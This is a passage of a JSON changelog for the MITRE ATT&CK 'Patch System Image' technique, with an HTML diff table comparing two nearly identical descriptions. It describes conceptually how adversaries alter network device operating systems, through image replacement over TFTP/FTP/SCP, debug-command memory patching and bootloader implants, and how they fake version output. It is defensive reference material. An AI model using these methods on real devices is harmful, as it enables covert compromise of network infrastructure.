loaded in a future boot, or in memory during runtime.\\n \\n To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection.  The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to114__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to114__0\"><a href=\"#difflib_chg_to114__top\">t</a></td><td class=\"diff_header\" id=\"from114_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;the&nbsp;operating&nbsp;system&nbsp;of&nbsp;a&nbsp;network&nbsp;dev</td><td class=\"diff_next\"><a href=\"#difflib_chg_to114__top\">t</a></td><td class=\"diff_header\" id=\"to114_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;modify&nbsp;the&nbsp;operating&nbsp;system&nbsp;of&nbsp;a&nbsp;network&nbsp;dev</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ice&nbsp;to&nbsp;introduce&nbsp;new&nbsp;capabilities&nbsp;or&nbsp;weaken&nbsp;existing&nbsp;defense</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ice&nbsp;to&nbsp;introduce&nbsp;new&nbsp;capabilities&nbsp;or&nbsp;weaken&nbsp;existing&nbsp;defense</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.(Citation:&nbsp;Killing&nbsp;the&nbsp;myth&nbsp;of&nbsp;Cisco&nbsp;IOS&nbsp;rootkits)<span class=\"diff_sub\">&nbsp;</span>(Citati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.(Citation:&nbsp;Killing&nbsp;the&nbsp;myth&nbsp;of&nbsp;Cisco&nbsp;IOS&nbsp;rootkits)(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Killing&nbsp;IOS&nbsp;diversity&nbsp;myth)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cisco&nbsp;IOS&nbsp;Shellco</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Killing&nbsp;IOS&nbsp;diversity&nbsp;myth)(Citation:&nbsp;Cisco&nbsp;IOS&nbsp;Shellcode</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Cisco&nbsp;IOS&nbsp;Forensics&nbsp;Developments)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)(Citation:&nbsp;Cisco&nbsp;IOS&nbsp;Forensics&nbsp;Developments)(Citation:&nbsp;Juni</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Juniper&nbsp;Netscreen&nbsp;of&nbsp;the&nbsp;Dead)&nbsp;Some&nbsp;network&nbsp;devices&nbsp;are&nbsp;buil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">per&nbsp;Netscreen&nbsp;of&nbsp;the&nbsp;Dead)&nbsp;Some&nbsp;network&nbsp;devices&nbsp;are&nbsp;built&nbsp;wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;with&nbsp;a&nbsp;monolithic&nbsp;architecture,&nbsp;where&nbsp;the&nbsp;entire&nbsp;operating</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">th&nbsp;a&nbsp;monolithic&nbsp;architecture,&nbsp;where&nbsp;the&nbsp;entire&nbsp;operating&nbsp;sys</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system&nbsp;and&nbsp;most&nbsp;of&nbsp;the&nbsp;functionality&nbsp;of&nbsp;the&nbsp;device&nbsp;is&nbsp;conta</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tem&nbsp;and&nbsp;most&nbsp;of&nbsp;the&nbsp;functionality&nbsp;of&nbsp;the&nbsp;device&nbsp;is&nbsp;contained</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ined&nbsp;within&nbsp;a&nbsp;single&nbsp;file.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;change&nbsp;this&nbsp;file</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;within&nbsp;a&nbsp;single&nbsp;file.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;change&nbsp;this&nbsp;file&nbsp;in&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;storage,&nbsp;to&nbsp;be&nbsp;loaded&nbsp;in&nbsp;a&nbsp;future&nbsp;boot,&nbsp;or&nbsp;in&nbsp;memory&nbsp;dur</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">storage,&nbsp;to&nbsp;be&nbsp;loaded&nbsp;in&nbsp;a&nbsp;future&nbsp;boot,&nbsp;or&nbsp;in&nbsp;memory&nbsp;during&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;runtime.&nbsp;&nbsp;To&nbsp;change&nbsp;the&nbsp;operating&nbsp;system&nbsp;in&nbsp;storage,&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">runtime.&nbsp;&nbsp;To&nbsp;change&nbsp;the&nbsp;operating&nbsp;system&nbsp;in&nbsp;storage,&nbsp;the&nbsp;adv</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;adversary&nbsp;will&nbsp;typically&nbsp;use&nbsp;the&nbsp;standard&nbsp;procedures&nbsp;availa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersary&nbsp;will&nbsp;typically&nbsp;use&nbsp;the&nbsp;standard&nbsp;procedures&nbsp;available&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ble&nbsp;to&nbsp;device&nbsp;operators.&nbsp;This&nbsp;may&nbsp;involve&nbsp;downloading&nbsp;a&nbsp;new&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;device&nbsp;operators.&nbsp;This&nbsp;may&nbsp;involve&nbsp;downloading&nbsp;a&nbsp;new&nbsp;file</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">file&nbsp;via&nbsp;typical&nbsp;protocols&nbsp;used&nbsp;on&nbsp;network&nbsp;devices,&nbsp;such&nbsp;as&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;via&nbsp;typical&nbsp;protocols&nbsp;used&nbsp;on&nbsp;network&nbsp;devices,&nbsp;such&nbsp;as&nbsp;TFTP</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">TFTP,&nbsp;FTP,&nbsp;SCP,&nbsp;or&nbsp;a&nbsp;console&nbsp;connection.&nbsp;&nbsp;The&nbsp;original&nbsp;file&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;FTP,&nbsp;SCP,&nbsp;or&nbsp;a&nbsp;console&nbsp;connection.&nbsp;&nbsp;The&nbsp;original&nbsp;file&nbsp;may&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;be&nbsp;overwritten,&nbsp;or&nbsp;a&nbsp;new&nbsp;file&nbsp;may&nbsp;be&nbsp;written&nbsp;alongside&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">be&nbsp;overwritten,&nbsp;or&nbsp;a&nbsp;new&nbsp;file&nbsp;may&nbsp;be&nbsp;written&nbsp;alongside&nbsp;of&nbsp;it</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;it&nbsp;and&nbsp;the&nbsp;device&nbsp;reconfigured&nbsp;to&nbsp;boot&nbsp;to&nbsp;the&nbsp;compromised&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;the&nbsp;device&nbsp;reconfigured&nbsp;to&nbsp;boot&nbsp;to&nbsp;the&nbsp;compromised&nbsp;imag</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">image.&nbsp;&nbsp;To&nbsp;change&nbsp;the&nbsp;operating&nbsp;system&nbsp;in&nbsp;memory,&nbsp;the&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e.&nbsp;&nbsp;To&nbsp;change&nbsp;the&nbsp;operating&nbsp;system&nbsp;in&nbsp;memory,&nbsp;the&nbsp;adversary&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ary&nbsp;typically&nbsp;can&nbsp;use&nbsp;one&nbsp;of&nbsp;two&nbsp;methods.&nbsp;In&nbsp;the&nbsp;first,&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">typically&nbsp;can&nbsp;use&nbsp;one&nbsp;of&nbsp;two&nbsp;methods.&nbsp;In&nbsp;the&nbsp;first,&nbsp;the&nbsp;adve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">adversary&nbsp;would&nbsp;make&nbsp;use&nbsp;of&nbsp;native&nbsp;debug&nbsp;commands&nbsp;in&nbsp;the&nbsp;ori</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rsary&nbsp;would&nbsp;make&nbsp;use&nbsp;of&nbsp;native&nbsp;debug&nbsp;commands&nbsp;in&nbsp;the&nbsp;origina</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ginal,&nbsp;unaltered&nbsp;running&nbsp;operating&nbsp;system&nbsp;that&nbsp;allow&nbsp;them&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l,&nbsp;unaltered&nbsp;running&nbsp;operating&nbsp;system&nbsp;that&nbsp;allow&nbsp;them&nbsp;to&nbsp;dir</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;directly&nbsp;modify&nbsp;the&nbsp;relevant&nbsp;memory&nbsp;addresses&nbsp;containing&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ectly&nbsp;modify&nbsp;the&nbsp;relevant&nbsp;memory&nbsp;addresses&nbsp;containing&nbsp;the&nbsp;ru</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;running&nbsp;operating&nbsp;system.&nbsp;&nbsp;This&nbsp;method&nbsp;typically&nbsp;requires&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nning&nbsp;operating&nbsp;system.&nbsp;&nbsp;This&nbsp;method&nbsp;typically&nbsp;requires&nbsp;admi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">administrative&nbsp;level&nbsp;access&nbsp;to&nbsp;the&nbsp;device.&nbsp;&nbsp;In&nbsp;the&nbsp;second&nbsp;me</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nistrative&nbsp;level&nbsp;access&nbsp;to&nbsp;the&nbsp;device.&nbsp;&nbsp;In&nbsp;the&nbsp;second&nbsp;method</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">thod&nbsp;for&nbsp;changing&nbsp;the&nbsp;operating&nbsp;system&nbsp;in&nbsp;memory,&nbsp;the&nbsp;advers</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;for&nbsp;changing&nbsp;the&nbsp;operating&nbsp;system&nbsp;in&nbsp;memory,&nbsp;the&nbsp;adversary&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ary&nbsp;would&nbsp;make&nbsp;use&nbsp;of&nbsp;the&nbsp;boot&nbsp;loader.&nbsp;The&nbsp;boot&nbsp;loader&nbsp;is&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">would&nbsp;make&nbsp;use&nbsp;of&nbsp;the&nbsp;boot&nbsp;loader.&nbsp;The&nbsp;boot&nbsp;loader&nbsp;is&nbsp;the&nbsp;fi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;first&nbsp;piece&nbsp;of&nbsp;software&nbsp;that&nbsp;loads&nbsp;when&nbsp;the&nbsp;device&nbsp;starts&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rst&nbsp;piece&nbsp;of&nbsp;software&nbsp;that&nbsp;loads&nbsp;when&nbsp;the&nbsp;device&nbsp;starts&nbsp;that</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">that,&nbsp;in&nbsp;turn,&nbsp;will&nbsp;launch&nbsp;the&nbsp;operating&nbsp;system.&nbsp;&nbsp;Adversarie</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;in&nbsp;turn,&nbsp;will&nbsp;launch&nbsp;the&nbsp;operating&nbsp;system.&nbsp;&nbsp;Adversaries&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;may&nbsp;use&nbsp;malicious&nbsp;code&nbsp;previously&nbsp;implanted&nbsp;in&nbsp;the&nbsp;boot&nbsp;lo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;use&nbsp;malicious&nbsp;code&nbsp;previously&nbsp;implanted&nbsp;in&nbsp;the&nbsp;boot&nbsp;loader</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ader,&nbsp;such&nbsp;as&nbsp;through&nbsp;the&nbsp;[ROMMONkit](https://attack.mitre.o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;such&nbsp;as&nbsp;through&nbsp;the&nbsp;[ROMMONkit](https://attack.mitre.org/t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1542/004)&nbsp;method,&nbsp;to&nbsp;directly&nbsp;manipulate&nbsp;runn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1542/004)&nbsp;method,&nbsp;to&nbsp;directly&nbsp;manipulate&nbsp;running&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;operating&nbsp;system&nbsp;code&nbsp;in&nbsp;memory.&nbsp;&nbsp;This&nbsp;malicious&nbsp;code&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">operating&nbsp;system&nbsp;code&nbsp;in&nbsp;memory.&nbsp;&nbsp;This&nbsp;malicious&nbsp;code&nbsp;in&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;bootloader&nbsp;provides&nbsp;the&nbsp;capability&nbsp;of&nbsp;direct&nbsp;memory&nbsp;man</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;bootloader&nbsp;provides&nbsp;the&nbsp;capability&nbsp;of&nbsp;direct&nbsp;memory&nbsp;manipul</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ipulation&nbsp;to&nbsp;the&nbsp;adversary,&nbsp;allowing&nbsp;them&nbsp;to&nbsp;patch&nbsp;the&nbsp;live&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;to&nbsp;the&nbsp;adversary,&nbsp;allowing&nbsp;them&nbsp;to&nbsp;patch&nbsp;the&nbsp;live&nbsp;oper</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">operating&nbsp;system&nbsp;during&nbsp;runtime.&nbsp;&nbsp;By&nbsp;modifying&nbsp;the&nbsp;instructi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ating&nbsp;system&nbsp;during&nbsp;runtime.&nbsp;&nbsp;By&nbsp;modifying&nbsp;the&nbsp;instructions&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons&nbsp;stored&nbsp;in&nbsp;the&nbsp;system&nbsp;image&nbsp;file,&nbsp;adversaries&nbsp;may&nbsp;either&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stored&nbsp;in&nbsp;the&nbsp;system&nbsp;image&nbsp;file,&nbsp;adversaries&nbsp;may&nbsp;either&nbsp;weak</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">weaken&nbsp;existing&nbsp;defenses&nbsp;or&nbsp;provision&nbsp;new&nbsp;capabilities&nbsp;that&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;existing&nbsp;defenses&nbsp;or&nbsp;provision&nbsp;new&nbsp;capabilities&nbsp;that&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;device&nbsp;did&nbsp;not&nbsp;have&nbsp;before.&nbsp;Examples&nbsp;of&nbsp;existing&nbsp;defense</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">device&nbsp;did&nbsp;not&nbsp;have&nbsp;before.&nbsp;Examples&nbsp;of&nbsp;existing&nbsp;defenses&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;that&nbsp;can&nbsp;be&nbsp;impeded&nbsp;include&nbsp;encryption,&nbsp;via&nbsp;[Weaken&nbsp;Encryp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;can&nbsp;be&nbsp;impeded&nbsp;include&nbsp;encryption,&nbsp;via&nbsp;[Weaken&nbsp;Encryption</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion](https://attack.mitre.org/techniques/T1600),&nbsp;authentica</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1600),&nbsp;authentication</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion,&nbsp;via&nbsp;[Network&nbsp;Device&nbsp;Authentication](https://attack.mit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;via&nbsp;[Network&nbsp;Device&nbsp;Authentication](https://attack.mitre.o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.org/techniques/T1556/004),&nbsp;and&nbsp;perimeter&nbsp;defenses,&nbsp;via&nbsp;[N</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1556/004),&nbsp;and&nbsp;perimeter&nbsp;defenses,&nbsp;via&nbsp;[Netwo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etwork&nbsp;Boundary&nbsp;Bridging](https://attack.mitre.org/technique</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rk&nbsp;Boundary&nbsp;Bridging](https://attack.mitre.org/techniques/T1</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1599).&nbsp;&nbsp;Adding&nbsp;new&nbsp;capabilities&nbsp;for&nbsp;the&nbsp;adversary\u2019s&nbsp;purpo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">599).&nbsp;&nbsp;Adding&nbsp;new&nbsp;capabilities&nbsp;for&nbsp;the&nbsp;adversary\u2019s&nbsp;purpose&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se&nbsp;include&nbsp;[Keylogging](https://attack.mitre.org/techniques/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nclude&nbsp;[Keylogging](https://attack.mitre.org/techniques/T105</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T1056/001),&nbsp;[Multi-hop&nbsp;Proxy](https://attack.mitre.org/techn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">6/001),&nbsp;[Multi-hop&nbsp;Proxy](https://attack.mitre.org/technique</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1090/003),&nbsp;and&nbsp;[Port&nbsp;Knocking](https://attack.mitre.o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s/T1090/003),&nbsp;and&nbsp;[Port&nbsp;Knocking](https://attack.mitre.org/t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1205/001).&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;compromise&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">echniques/T1205/001).&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;compromise&nbsp;exist</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xisting&nbsp;commands&nbsp;in&nbsp;the&nbsp;operating&nbsp;system&nbsp;to&nbsp;produce&nbsp;false&nbsp;ou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;commands&nbsp;in&nbsp;the&nbsp;operating&nbsp;system&nbsp;to&nbsp;produce&nbsp;false&nbsp;output</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tput&nbsp;to&nbsp;mislead&nbsp;defenders.&nbsp;&nbsp;&nbsp;When&nbsp;this&nbsp;method&nbsp;is&nbsp;used&nbsp;in&nbsp;con</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;mislead&nbsp;defenders.&nbsp;&nbsp;&nbsp;When&nbsp;this&nbsp;method&nbsp;is&nbsp;used&nbsp;in&nbsp;conjunc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">junction&nbsp;with&nbsp;[Downgrade&nbsp;System&nbsp;Image](https://attack.mitre.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;with&nbsp;[Downgrade&nbsp;System&nbsp;Image](https://attack.mitre.org/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">org/techniques/T1601/002),&nbsp;one&nbsp;example&nbsp;of&nbsp;a&nbsp;compromised&nbsp;syst</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">techniques/T1601/002),&nbsp;one&nbsp;example&nbsp;of&nbsp;a&nbsp;compromised&nbsp;system&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;command&nbsp;may&nbsp;include&nbsp;changing&nbsp;the&nbsp;output&nbsp;of&nbsp;the&nbsp;command&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ommand&nbsp;may&nbsp;include&nbsp;changing&nbsp;the&nbsp;output&nbsp;of&nbsp;the&nbsp;command&nbsp;that&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;shows&nbsp;the&nbsp;version&nbsp;of&nbsp;the&nbsp;currently&nbsp;running&nbsp;operating&nbsp;syst</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hows&nbsp;the&nbsp;version&nbsp;of&nbsp;the&nbsp;currently&nbsp;running&nbsp;operating&nbsp;system.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em.&nbsp;&nbsp;By&nbsp;patching&nbsp;the&nbsp;operating&nbsp;system,&nbsp;the&nbsp;adversary&nbsp;can&nbsp;cha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;By&nbsp;patching&nbsp;the&nbsp;operating&nbsp;system,&nbsp;the&nbsp;adversary&nbsp;can&nbsp;change&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nge&nbsp;this&nbsp;command&nbsp;to&nbsp;instead&nbsp;display&nbsp;the&nbsp;original,&nbsp;higher&nbsp;rev</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">this&nbsp;command&nbsp;to&nbsp;instead&nbsp;display&nbsp;the&nbsp;original,&nbsp;higher&nbsp;revisio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ision&nbsp;number&nbsp;that&nbsp;they&nbsp;replaced&nbsp;through&nbsp;the&nbsp;system&nbsp;downgrade</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;number&nbsp;that&nbsp;they&nbsp;replaced&nbsp;through&nbsp;the&nbsp;system&nbsp;downgrade.&nbsp;&nbsp;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;&nbsp;&nbsp;When&nbsp;the&nbsp;operating&nbsp;system&nbsp;is&nbsp;patched&nbsp;in&nbsp;storage,&nbsp;this&nbsp;ca</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">When&nbsp;the&nbsp;operating&nbsp;system&nbsp;is&nbsp;patched&nbsp;in&nbsp;storage,&nbsp;this&nbsp;can&nbsp;be</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;be&nbsp;achieved&nbsp;in&nbsp;either&nbsp;the&nbsp;resident&nbsp;storage&nbsp;(typically&nbsp;a&nbsp;fo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;achieved&nbsp;in&nbsp;either&nbsp;the&nbsp;resident&nbsp;storage&nbsp;(typically&nbsp;a&nbsp;form&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rm&nbsp;of&nbsp;flash&nbsp;memory,&nbsp;which&nbsp;is&nbsp;non-volatile)&nbsp;or&nbsp;via&nbsp;[TFTP&nbsp;Boot</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;flash&nbsp;memory,&nbsp;which&nbsp;is&nbsp;non-volatile)&nbsp;or&nbsp;via&nbsp;[TFTP&nbsp;Boot](ht</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 